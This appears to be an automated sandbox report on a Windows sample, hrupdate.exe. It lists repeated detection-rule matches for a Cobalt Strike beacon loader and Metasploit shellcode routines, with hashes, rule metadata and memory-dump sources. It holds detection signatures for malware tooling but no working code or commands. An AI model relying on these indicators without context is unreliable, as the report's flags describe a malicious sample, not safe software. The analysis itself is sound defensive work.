Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FC7D88 GetLastError,CreateProcessWithLogonW,GetLastError,_memset,GetLastError,

0_2_04FC7D88

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FEC4E0	0_2_04FEC4E0
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FE05A6	0_2_04FE05A6
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FE99E8	0_2_04FE99E8

Source: hrupdate.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: dump.pcap, type: PCAP	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
